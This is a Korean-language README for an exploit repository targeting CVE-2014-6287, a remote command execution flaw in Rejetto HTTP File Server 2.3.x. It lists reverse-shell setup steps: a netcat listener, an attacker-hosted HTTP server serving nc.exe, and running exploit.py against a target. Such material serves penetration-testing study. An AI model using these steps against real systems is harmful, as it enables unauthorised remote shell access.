rahisec/rejetto-http-file-server-2.3.x-rce-exploit-cve-2014-6287이 저장소에는 Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution에 대한 상세한 설명과 동작하는 PoC가 포함되어 있습니다.
이 저장소에는 Rejetto HTTP File Server (HFS) 2.3.x - 원격 명령 실행(Remote Command Execution)에 대한 상세한 설명과 동작하는 PoC가 포함되어 있습니다.
Netcat 리스너를 생성하세요.
nc -lnvp 1234
공격자 IP를 자신의 IP와 포트로 변경하세요.
또한 nc.exe가 존재하는 동일한 디렉토리에 HTTP 파일 서버를 생성하세요.
python -m http.server 80
python exploit.py <target-ip> <target-port>
참고: 리버스 셸을 얻으려면 페이로드를 여러 번 실행해야 할 수 있습니다.
https://www.exploit-db.com/exploits/39161
https://www.exploit-db.com/exploits/34668
https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/